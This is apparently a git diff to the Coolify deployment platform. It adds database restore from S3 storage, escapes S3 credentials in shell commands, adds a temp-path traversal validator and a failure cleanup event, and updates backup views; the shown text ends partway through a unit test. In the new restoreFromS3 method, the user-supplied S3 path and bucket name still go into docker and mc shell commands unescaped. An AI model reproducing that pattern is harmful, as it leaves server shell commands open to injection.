diff --git a/app/Events/RestoreJobFinished.php b/app/Events/RestoreJobFinished.php index d3adb7798..cc4be8029 100644 --- a/app/Events/RestoreJobFinished.php +++ b/app/Events/RestoreJobFinished.php @@ -17,17 +17,23 @@ public function __construct($data) $tmpPath = data_get($data, 'tmpPath'); $container = data_get($data, 'container'); $serverId = data_get($data, 'serverId'); - if (filled($scriptPath) && filled($tmpPath) && filled($container) && filled($serverId)) { - if (str($tmpPath)->startsWith('/tmp/') - && str($scriptPath)->startsWith('/tmp/') - && ! str($tmpPath)->contains('..') - && ! str($scriptPath)->contains('..') - && strlen($tmpPath) > 5 // longer than just "/tmp/" - && strlen($scriptPath) > 5 - ) { - $commands[] = "docker exec {$container} sh -c 'rm {$scriptPath}'"; - $commands[] = "docker exec {$container} sh -c 'rm {$tmpPath}'"; - instant_remote_process($commands, Server::find($serverId), throwError: true); + + if (filled($container) && filled($serverId)) { + $commands = []; + + if (isSafeTmpPath($scriptPath)) { + $commands[] = "docker exec {$container} sh -c 'rm ".escapeshellarg($scriptPath)." 2>/dev/null || true'"; + } + + if (isSafeTmpPath($tmpPath)) { + $commands[] = "docker exec {$container} sh -c 'rm ".escapeshellarg($tmpPath)." 2>/dev/null || true'"; + } + + if (! empty($commands)) { + $server = Server::find($serverId); + if ($server) { + instant_remote_process($commands, $server, throwError: false); + } } } } diff --git a/app/Events/S3RestoreJobFinished.php b/app/Events/S3RestoreJobFinished.php new file mode 100644 index 000000000..e1f844558 --- /dev/null +++ b/app/Events/S3RestoreJobFinished.php @@ -0,0 +1,56 @@ +/dev/null || true'; + } + + // Clean up server temp file if still exists (should already be cleaned) + if (isSafeTmpPath($serverTmpPath)) { + $commands[] = 'rm -f '.escapeshellarg($serverTmpPath).' 2>/dev/null || true'; + } + + // Clean up any remaining files in database container (may already be cleaned) + if (filled($container)) { + if (isSafeTmpPath($containerTmpPath)) { + $commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($containerTmpPath).' 2>/dev/null || true'; + } + if (isSafeTmpPath($scriptPath)) { + $commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($scriptPath).' 2>/dev/null || true'; + } + } + + if (! empty($commands)) { + $server = Server::find($serverId); + if ($server) { + instant_remote_process($commands, $server, throwError: false); + } + } + } + } +} diff --git a/app/Jobs/CoolifyTask.php b/app/Jobs/CoolifyTask.php index d6dc6fa05..ce535e036 100755 --- a/app/Jobs/CoolifyTask.php +++ b/app/Jobs/CoolifyTask.php @@ -90,5 +90,22 @@ public function failed(?\Throwable $exception): void 'failed_at' => now()->toIso8601String(), ]); $this->activity->save(); + + // Dispatch cleanup event on failure (same as on success) + if ($this->call_event_on_finish) { + try { + $eventClass = "App\\Events\\$this->call_event_on_finish"; + if (! is_null($this->call_event_data)) { + event(new $eventClass($this->call_event_data)); + } else { + event(new $eventClass($this->activity->causer_id)); + } + Log::info('Cleanup event dispatched after job failure', [ + 'event' => $this->call_event_on_finish, + ]); + } catch (\Throwable $e) { + Log::error('Error dispatching cleanup event on failure: '.$e->getMessage()); + } + } } } diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 8766a1afc..45ac6eb7d 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -639,7 +639,13 @@ private function upload_to_s3(): void } else { $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; } - $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$endpoint} {$key} \"{$secret}\""; + + // Escape S3 credentials to prevent command injection + $escapedEndpoint = escapeshellarg($endpoint); + $escapedKey = escapeshellarg($key); + $escapedSecret = escapeshellarg($secret); + + $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp $this->backup_location temporary/$bucket{$this->backup_dir}/"; instant_remote_process($commands, $this->server); diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 7d6ac3131..01ddb7f5d 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Database; +use App\Models\S3Storage; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Auth; @@ -54,6 +55,15 @@ class Import extends Component public string $mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive='; + // S3 Restore properties + public $availableS3Storages = []; + + public ?int $s3StorageId = null; + + public string $s3Path = ''; + + public ?int $s3FileSize = null; + public function getListeners() { $userId = Auth::id(); @@ -65,11 +75,9 @@ public function getListeners() public function mount() { - if (isDev()) { - $this->customLocation = '/data/coolify/pg-dump-all-1736245863.gz'; - } $this->parameters = get_route_parameters(); $this->getContainers(); + $this->loadAvailableS3Storages(); } public function updatedDumpAll($value) @@ -179,22 +187,22 @@ public function runImport() try { $this->importRunning = true; $this->importCommands = []; - if (filled($this->customLocation)) { - $backupFileName = '/tmp/restore_'.$this->resource->uuid; - $this->importCommands[] = "docker cp {$this->customLocation} {$this->container}:{$backupFileName}"; - $tmpPath = $backupFileName; - } else { - $backupFileName = "upload/{$this->resource->uuid}/restore"; - $path = Storage::path($backupFileName); - if (! Storage::exists($backupFileName)) { - $this->dispatch('error', 'The file does not exist or has been deleted.'); + $backupFileName = "upload/{$this->resource->uuid}/restore"; - return; - } + // Check if an uploaded file exists first (takes priority over custom location) + if (Storage::exists($backupFileName)) { + $path = Storage::path($backupFileName); $tmpPath = '/tmp/'.basename($backupFileName).'_'.$this->resource->uuid; instant_scp($path, $tmpPath, $this->server); Storage::delete($backupFileName); $this->importCommands[] = "docker cp {$tmpPath} {$this->container}:{$tmpPath}"; + } elseif (filled($this->customLocation)) { + $tmpPath = '/tmp/restore_'.$this->resource->uuid; + $this->importCommands[] = "docker cp {$this->customLocation} {$this->container}:{$tmpPath}"; + } else { + $this->dispatch('error', 'The file does not exist or has been deleted.'); + + return; } // Copy the restore command to a script file @@ -248,7 +256,10 @@ public function runImport() 'container' => $this->container, 'serverId' => $this->server->id, ]); + + // Dispatch activity to the monitor and open slide-over $this->dispatch('activityMonitor', $activity->id); + $this->dispatch('databaserestore'); } } catch (\Throwable $e) { return handleError($e, $this); @@ -257,4 +268,232 @@ public function runImport() $this->importCommands = []; } } + + public function loadAvailableS3Storages() + { + try { + $this->availableS3Storages = S3Storage::ownedByCurrentTeam(['id', 'name', 'description']) + ->where('is_usable', true) + ->get(); + } catch (\Throwable $e) { + $this->availableS3Storages = collect(); + } + } + + public function updatedS3Path($value) + { + // Reset validation state when path changes + $this->s3FileSize = null; + + // Ensure path starts with a slash + if ($value !== null && $value !== '') { + $this->s3Path = str($value)->trim()->start('/')->value(); + } + } + + public function updatedS3StorageId() + { + // Reset validation state when storage changes + $this->s3FileSize = null; + } + + public function checkS3File() + { + if (! $this->s3StorageId) { + $this->dispatch('error', 'Please select an S3 storage.'); + + return; + } + + if (blank($this->s3Path)) { + $this->dispatch('error', 'Please provide an S3 path.'); + + return; + } + + try { + $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId); + + // Test connection + $s3Storage->testConnection(); + + // Build S3 disk configuration + $disk = Storage::build([ + 'driver' => 's3', + 'region' => $s3Storage->region, + 'key' => $s3Storage->key, + 'secret' => $s3Storage->secret, + 'bucket' => $s3Storage->bucket, + 'endpoint' => $s3Storage->endpoint, + 'use_path_style_endpoint' => true, + ]); + + // Clean the path (remove leading slash if present) + $cleanPath = ltrim($this->s3Path, '/'); + + // Check if file exists + if (! $disk->exists($cleanPath)) { + $this->dispatch('error', 'File not found in S3. Please check the path.'); + + return; + } + + // Get file size + $this->s3FileSize = $disk->size($cleanPath); + + $this->dispatch('success', 'File found in S3. Size: '.formatBytes($this->s3FileSize)); + } catch (\Throwable $e) { + $this->s3FileSize = null; + + return handleError($e, $this); + } + } + + public function restoreFromS3() + { + $this->authorize('update', $this->resource); + + if (! $this->s3StorageId || blank($this->s3Path)) { + $this->dispatch('error', 'Please select S3 storage and provide a path first.'); + + return; + } + + if (is_null($this->s3FileSize)) { + $this->dispatch('error', 'Please check the file first by clicking "Check File".'); + + return; + } + + try { + $this->importRunning = true; + + $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId); + + $key = $s3Storage->key; + $secret = $s3Storage->secret; + $bucket = $s3Storage->bucket; + $endpoint = $s3Storage->endpoint; + + // Clean the S3 path + $cleanPath = ltrim($this->s3Path, '/'); + + // Get helper image + $helperImage = config('constants.coolify.helper_image'); + $latestVersion = getHelperVersion(); + $fullImageName = "{$helperImage}:{$latestVersion}"; + + // Get the database destination network + $destinationNetwork = $this->resource->destination->network ?? 'coolify'; + + // Generate unique names for this operation + $containerName = "s3-restore-{$this->resource->uuid}"; + $helperTmpPath = '/tmp/'.basename($cleanPath); + $serverTmpPath = "/tmp/s3-restore-{$this->resource->uuid}-".basename($cleanPath); + $containerTmpPath = "/tmp/restore_{$this->resource->uuid}-".basename($cleanPath); + $scriptPath = "/tmp/restore_{$this->resource->uuid}.sh"; + + // Prepare all commands in sequence + $commands = []; + + // 1. Clean up any existing helper container and temp files from previous runs + $commands[] = "docker rm -f {$containerName} 2>/dev/null || true"; + $commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true"; + $commands[] = "docker exec {$this->container} rm -f {$containerTmpPath} {$scriptPath} 2>/dev/null || true"; + + // 2. Start helper container on the database network + $commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600"; + + // 3. Configure S3 access in helper container + $escapedEndpoint = escapeshellarg($endpoint); + $escapedKey = escapeshellarg($key); + $escapedSecret = escapeshellarg($secret); + $commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; + + // 4. Check file exists in S3 + $commands[] = "docker exec {$containerName} mc stat s3temp/{$bucket}/{$cleanPath}"; + + // 5. Download from S3 to helper container (progress shown by default) + $commands[] = "docker exec {$containerName} mc cp s3temp/{$bucket}/{$cleanPath} {$helperTmpPath}"; + + // 6. Copy from helper to server, then immediately to database container + $commands[] = "docker cp {$containerName}:{$helperTmpPath} {$serverTmpPath}"; + $commands[] = "docker cp {$serverTmpPath} {$this->container}:{$containerTmpPath}"; + + // 7. Cleanup helper container and server temp file immediately (no longer needed) + $commands[] = "docker rm -f {$containerName} 2>/dev/null || true"; + $commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true"; + + // 8. Build and execute restore command inside database container + $restoreCommand = $this->buildRestoreCommand($containerTmpPath); + + $restoreCommandBase64 = base64_encode($restoreCommand); + $commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}"; + $commands[] = "chmod +x {$scriptPath}"; + $commands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}"; + + // 9. Execute restore and cleanup temp files immediately after completion + $commands[] = "docker exec {$this->container} sh -c '{$scriptPath} && rm -f {$containerTmpPath} {$scriptPath}'"; + $commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'"; + + // Execute all commands with cleanup event (as safety net for edge cases) + $activity = remote_process($commands, $this->server, ignore_errors: true, callEventOnFinish: 'S3RestoreJobFinished', callEventData: [ + 'containerName' => $containerName, + 'serverTmpPath' => $serverTmpPath, + 'scriptPath' => $scriptPath, + 'containerTmpPath' => $containerTmpPath, + 'container' => $this->container, + 'serverId' => $this->server->id, + ]); + + // Dispatch activity to the monitor and open slide-over + $this->dispatch('activityMonitor', $activity->id); + $this->dispatch('databaserestore'); + $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...'); + } catch (\Throwable $e) { + $this->importRunning = false; + + return handleError($e, $this); + } + } + + public function buildRestoreCommand(string $tmpPath): string + { + switch ($this->resource->getMorphClass()) { + case \App\Models\StandaloneMariadb::class: + $restoreCommand = $this->mariadbRestoreCommand; + if ($this->dumpAll) { + $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD"; + } else { + $restoreCommand .= " < {$tmpPath}"; + } + break; + case \App\Models\StandaloneMysql::class: + $restoreCommand = $this->mysqlRestoreCommand; + if ($this->dumpAll) { + $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD"; + } else { + $restoreCommand .= " < {$tmpPath}"; + } + break; + case \App\Models\StandalonePostgresql::class: + $restoreCommand = $this->postgresqlRestoreCommand; + if ($this->dumpAll) { + $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \$POSTGRES_USER postgres"; + } else { + $restoreCommand .= " {$tmpPath}"; + } + break; + case \App\Models\StandaloneMongodb::class: + $restoreCommand = $this->mongodbRestoreCommand; + if ($this->dumpAll === false) { + $restoreCommand .= "{$tmpPath}"; + } + break; + default: + $restoreCommand = ''; + } + + return $restoreCommand; + } } diff --git a/app/Livewire/Settings/Index.php b/app/Livewire/Settings/Index.php index 96f13b173..7a96eabb2 100644 --- a/app/Livewire/Settings/Index.php +++ b/app/Livewire/Settings/Index.php @@ -44,6 +44,8 @@ class Index extends Component public bool $forceSaveDomains = false; + public $buildActivityId = null; + public function render() { return view('livewire.settings.index'); @@ -151,4 +153,37 @@ public function submit() return handleError($e, $this); } } + + public function buildHelperImage() + { + try { + if (! isDev()) { + $this->dispatch('error', 'Building helper image is only available in development mode.'); + + return; + } + + $version = $this->dev_helper_version ?: config('constants.coolify.helper_version'); + if (empty($version)) { + $this->dispatch('error', 'Please specify a version to build.'); + + return; + } + + $buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile ."; + + $activity = remote_process( + command: [$buildCommand], + server: $this->server, + type: 'build-helper-image' + ); + + $this->buildActivityId = $activity->id; + $this->dispatch('activityMonitor', $activity->id); + + $this->dispatch('success', "Building coolify-helper:{$version}..."); + } catch (\Exception $e) { + return handleError($e, $this); + } + } } diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index d97550693..63d9ce3da 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -120,8 +120,15 @@ public function testConnection() $this->storage->testConnection(shouldSave: true); + // Update component property to reflect the new validation status + $this->isUsable = $this->storage->is_usable; + return $this->dispatch('success', 'Connection is working.', 'Tested with "ListObjectsV2" action.'); } catch (\Throwable $e) { + // Refresh model and sync to get the latest state + $this->storage->refresh(); + $this->isUsable = $this->storage->is_usable; + $this->dispatch('error', 'Failed to create storage.', $e->getMessage()); } } diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index bdea9a3b0..fdf3d0d28 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -3,10 +3,13 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; class Show extends Component { + use AuthorizesRequests; + public $storage = null; public function mount() @@ -15,6 +18,7 @@ public function mount() if (! $this->storage) { abort(404); } + $this->authorize('view', $this->storage); } public function render() diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index de27bbca6..47652eb35 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Support\Facades\Storage; @@ -41,6 +42,19 @@ public function awsUrl() return "{$this->endpoint}/{$this->bucket}"; } + protected function path(): Attribute + { + return Attribute::make( + set: function (?string $value) { + if ($value === null || $value === '') { + return null; + } + + return str($value)->trim()->start('/')->value(); + } + ); + } + public function testConnection(bool $shouldSave = false) { try { diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 8a278476e..1b23247fa 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3154,6 +3154,118 @@ function generateDockerComposeServiceName(mixed $services, int $pullRequestId = return $collection; } +function formatBytes(?int $bytes, int $precision = 2): string +{ + if ($bytes === null || $bytes === 0) { + return '0 B'; + } + + // Handle negative numbers + if ($bytes < 0) { + return '0 B'; + } + + $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']; + $base = 1024; + $exponent = floor(log($bytes) / log($base)); + $exponent = min($exponent, count($units) - 1); + + $value = $bytes / pow($base, $exponent); + + return round($value, $precision).' '.$units[$exponent]; +} + +/** + * Validates that a file path is safely within the /tmp/ directory. + * Protects against path traversal attacks by resolving the real path + * and verifying it stays within /tmp/. + * + * Note: On macOS, /tmp is often a symlink to /private/tmp, which is handled. + */ +function isSafeTmpPath(?string $path): bool +{ + if (blank($path)) { + return false; + } + + // URL decode to catch encoded traversal attempts + $decodedPath = urldecode($path); + + // Minimum length check - /tmp/x is 6 chars + if (strlen($decodedPath) < 6) { + return false; + } + + // Must start with /tmp/ + if (! str($decodedPath)->startsWith('/tmp/')) { + return false; + } + + // Quick check for obvious traversal attempts + if (str($decodedPath)->contains('..')) { + return false; + } + + // Check for null bytes (directory traversal technique) + if (str($decodedPath)->contains("\0")) { + return false; + } + + // Remove any trailing slashes for consistent validation + $normalizedPath = rtrim($decodedPath, '/'); + + // Normalize the path by removing redundant separators and resolving . and .. + // We'll do this manually since realpath() requires the path to exist + $parts = explode('/', $normalizedPath); + $resolvedParts = []; + + foreach ($parts as $part) { + if ($part === '' || $part === '.') { + // Skip empty parts (from //) and current directory references + continue; + } elseif ($part === '..') { + // Parent directory - this should have been caught earlier but double-check + return false; + } else { + $resolvedParts[] = $part; + } + } + + $resolvedPath = '/'.implode('/', $resolvedParts); + + // Final check: resolved path must start with /tmp/ + // And must have at least one component after /tmp/ + if (! str($resolvedPath)->startsWith('/tmp/') || $resolvedPath === '/tmp') { + return false; + } + + // Resolve the canonical /tmp path (handles symlinks like /tmp -> /private/tmp on macOS) + $canonicalTmpPath = realpath('/tmp'); + if ($canonicalTmpPath === false) { + // If /tmp doesn't exist, something is very wrong, but allow non-existing paths + $canonicalTmpPath = '/tmp'; + } + + // Calculate dirname once to avoid redundant calls + $dirPath = dirname($resolvedPath); + + // If the directory exists, resolve it via realpath to catch symlink attacks + if (is_dir($dirPath)) { + // For existing paths, resolve to absolute path to catch symlinks + $realDir = realpath($dirPath); + if ($realDir === false) { + return false; + } + + // Check if the real directory is within /tmp (or its canonical path) + if (! str($realDir)->startsWith('/tmp') && ! str($realDir)->startsWith($canonicalTmpPath)) { + return false; + } + } + + return true; +} + /** * Transform colon-delimited status format to human-readable parentheses format. * diff --git a/resources/views/livewire/project/database/backup-executions.blade.php b/resources/views/livewire/project/database/backup-executions.blade.php index 30eef5976..c56908f50 100644 --- a/resources/views/livewire/project/database/backup-executions.blade.php +++ b/resources/views/livewire/project/database/backup-executions.blade.php @@ -68,22 +68,21 @@ class="flex flex-col gap-4">
- Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }} - @if (data_get($execution, 'status') !== 'running') -
Ended: - {{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }} -
Duration: - {{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }} -
Finished {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }} + @if (data_get($execution, 'status') === 'running') + + Running for {{ calculateDuration(data_get($execution, 'created_at'), now()) }} + + @else + + {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }} + ({{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }}) + • {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->format('M j, H:i') }} + + @endif + • Database: {{ data_get($execution, 'database_name', 'N/A') }} + @if(data_get($execution, 'size')) + • Size: {{ formatBytes(data_get($execution, 'size')) }} @endif -
-
- Database: {{ data_get($execution, 'database_name', 'N/A') }} -
-
- Size: {{ data_get($execution, 'size') }} B / - {{ round((int) data_get($execution, 'size') / 1024, 2) }} kB / - {{ round((int) data_get($execution, 'size') / 1024 / 1024, 3) }} MB
Location: {{ data_get($execution, 'filename', 'N/A') }} diff --git a/resources/views/livewire/project/database/import.blade.php b/resources/views/livewire/project/database/import.blade.php index c6501e031..b3c21e93e 100644 --- a/resources/views/livewire/project/database/import.blade.php +++ b/resources/views/livewire/project/database/import.blade.php @@ -1,54 +1,65 @@ -
+
@script - + @endscript

Import Backup

@if ($unsupported)
Database restore is not supported.
@else
- + This is a destructive action, existing data will be replaced!
@if (str(data_get($resource, 'status'))->startsWith('running')) + {{-- Restore Command Configuration --}} @if ($resource->type() === 'standalone-postgresql') @if ($dumpAll) @endif
- +
@elseif ($resource->type() === 'standalone-mysql') @if ($dumpAll) @@ -73,8 +83,7 @@ @endif
- +
@elseif ($resource->type() === 'standalone-mariadb') @if ($dumpAll) @@ -84,35 +93,143 @@ @endif
- +
@endif -

Backup File

-
- - Check File -
-
- Or -
-
- @csrf -
-
- -
-

File Information

-
-
Location: /
- Restore Backup -
-
- + + {{-- Restore Type Selection Boxes --}} +

Choose Restore Method

+
+
+
+ + + +

Restore from File

+

Upload a backup file or specify a file path on the server

+
+
+ + @if ($availableS3Storages->count() > 0) +
+
+ + + +

Restore from S3

+

Download and restore a backup from S3 storage

+
+
+ @endif
+ + {{-- File Restore Section --}} + @can('update', $resource) +
+

Backup File

+
+ + Check File +
+
+ Or +
+
+ @csrf +
+
+ +
+ +
+

File Information

+
Location: /
+
+ + + Restore Database from File + + This will perform the following actions: +
    +
  • Copy backup file to database container
  • +
  • Execute restore command
  • +
+
WARNING: This will REPLACE all existing data!
+
+
+
+
+ @endcan + + {{-- S3 Restore Section --}} + @if ($availableS3Storages->count() > 0) + @can('update', $resource) +
+

Restore from S3

+
+ + + @foreach ($availableS3Storages as $storage) + + @endforeach + + + + +
+ + Check File + +
+ + @if ($s3FileSize) +
+

File Information

+
Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}
+
+ + + Restore Database from S3 + + This will perform the following actions: +
    +
  • Download backup from S3 storage
  • +
  • Copy file into database container
  • +
  • Execute restore command
  • +
+
WARNING: This will REPLACE all existing data!
+
+
+
+ @endif +
+
+ @endcan + @endif + + {{-- Slide-over for activity monitor (all restore operations) --}} + + Database Restore Output + + + + @else
Database must be running to restore a backup.
@endif @endif -
+
\ No newline at end of file diff --git a/resources/views/livewire/project/database/scheduled-backups.blade.php b/resources/views/livewire/project/database/scheduled-backups.blade.php index c0b8647b2..0d4b58972 100644 --- a/resources/views/livewire/project/database/scheduled-backups.blade.php +++ b/resources/views/livewire/project/database/scheduled-backups.blade.php @@ -70,32 +70,32 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
@if ($backup->latest_log) - Started: - {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }} - @if (data_get($backup->latest_log, 'status') !== 'running') -
Ended: - {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }} -
Duration: - {{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }} -
Finished - {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }} - @endif - @if ($backup->save_s3) -
S3 Storage: Enabled + @if (data_get($backup->latest_log, 'status') === 'running') + + Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }} + + @else + + {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }} + ({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}) + • {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }} + @endif @if (data_get($backup->latest_log, 'status') === 'success') @php $size = data_get($backup->latest_log, 'size', 0); - $sizeFormatted = - $size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown'; @endphp -
Last Backup Size: {{ $sizeFormatted }} + @if ($size > 0) + • Size: {{ formatBytes($size) }} + @endif + @endif + @if ($backup->save_s3) + • S3: Enabled @endif @else - Last Run: Never -
Total Executions: 0 + Last Run: Never • Total Executions: 0 @if ($backup->save_s3) -
S3 Storage: Enabled + • S3: Enabled @endif @endif
@@ -154,27 +154,36 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
@if ($backup->latest_log) - Started: - {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }} - @if (data_get($backup->latest_log, 'status') !== 'running') -
Ended: - {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }} -
Duration: - {{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }} -
Finished - {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }} + @if (data_get($backup->latest_log, 'status') === 'running') + + Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }} + + @else + + {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }} + ({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}) + • {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }} + + @endif + @if (data_get($backup->latest_log, 'status') === 'success') + @php + $size = data_get($backup->latest_log, 'size', 0); + @endphp + @if ($size > 0) + • Size: {{ formatBytes($size) }} + @endif @endif -

Total Executions: {{ $backup->executions()->count() }} @if ($backup->save_s3) -
S3 Storage: Enabled + • S3: Enabled @endif +
Total Executions: {{ $backup->executions()->count() }} @php $successCount = $backup->executions()->where('status', 'success')->count(); $totalCount = $backup->executions()->count(); $successRate = $totalCount > 0 ? round(($successCount / $totalCount) * 100) : 0; @endphp @if ($totalCount > 0) -
Success Rate: $successRate >= 80, 'text-yellow-600' => $successRate >= 50 && $successRate < 80, @@ -182,19 +191,10 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray- ])>{{ $successRate }}% ({{ $successCount }}/{{ $totalCount }}) @endif - @if (data_get($backup->latest_log, 'status') === 'success') - @php - $size = data_get($backup->latest_log, 'size', 0); - $sizeFormatted = - $size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown'; - @endphp -
Last Backup Size: {{ $sizeFormatted }} - @endif @else - Last Run: Never -
Total Executions: 0 + Last Run: Never • Total Executions: 0 @if ($backup->save_s3) -
S3 Storage: Enabled + • S3: Enabled @endif @endif
diff --git a/resources/views/livewire/settings/index.blade.php b/resources/views/livewire/settings/index.blade.php index 4ceb2043a..85c151399 100644 --- a/resources/views/livewire/settings/index.blade.php +++ b/resources/views/livewire/settings/index.blade.php @@ -1,28 +1,29 @@
Settings | Coolify - - -
- -
-
-

General

- - Save - -
-
General configuration for your Coolify instance.
+ + +
+ + +
+

General

+ + Save + +
+
General configuration for your Coolify instance.
-
-
-
- - -
+
+
+ + +
-
- - -
-
-
- - - - +
+ +
-
- +
+
+ + + + +
+
+ +
-
-
- - -
- @if(isDev()) -
- -
- @endif +
+ + +
+ + @if($buildActivityId) +
+ +
+ @endif + @if(isDev()) + + +
+ @endif
-
- - - - -
    -
  • The Coolify instance domain will conflict with existing resources
  • -
  • SSL certificates might not work correctly
  • -
  • Routing behavior will be unpredictable
  • -
  • You may not be able to access the Coolify dashboard properly
  • -
-
-
-
-
+ + + + +
    +
  • The Coolify instance domain will conflict with existing resources
  • +
  • SSL certificates might not work correctly
  • +
  • Routing behavior will be unpredictable
  • +
  • You may not be able to access the Coolify dashboard properly
  • +
+
+
+
+
\ No newline at end of file diff --git a/tests/Unit/CoolifyTaskCleanupTest.php b/tests/Unit/CoolifyTaskCleanupTest.php new file mode 100644 index 000000000..ad77a2e8c --- /dev/null +++ b/tests/Unit/CoolifyTaskCleanupTest.php @@ -0,0 +1,84 @@ +hasMethod('failed'))->toBeTrue(); + + // Get the failed method + $failedMethod = $reflection->getMethod('failed'); + + // Read the method source to verify it dispatches events + $filename = $reflection->getFileName(); + $startLine = $failedMethod->getStartLine(); + $endLine = $failedMethod->getEndLine(); + + $source = file($filename); + $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1)); + + // Verify the implementation contains event dispatch logic + expect($methodSource) + ->toContain('call_event_on_finish') + ->and($methodSource)->toContain('event(new $eventClass') + ->and($methodSource)->toContain('call_event_data') + ->and($methodSource)->toContain('Log::info'); +}); + +it('CoolifyTask failed method updates activity status to ERROR', function () { + $reflection = new ReflectionClass(CoolifyTask::class); + $failedMethod = $reflection->getMethod('failed'); + + // Read the method source + $filename = $reflection->getFileName(); + $startLine = $failedMethod->getStartLine(); + $endLine = $failedMethod->getEndLine(); + + $source = file($filename); + $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1)); + + // Verify activity status is set to ERROR + expect($methodSource) + ->toContain("'status' => ProcessStatus::ERROR->value") + ->and($methodSource)->toContain("'error' =>") + ->and($methodSource)->toContain("'failed_at' =>"); +}); + +it('CoolifyTask failed method has proper error handling for event dispatch', function () { + $reflection = new 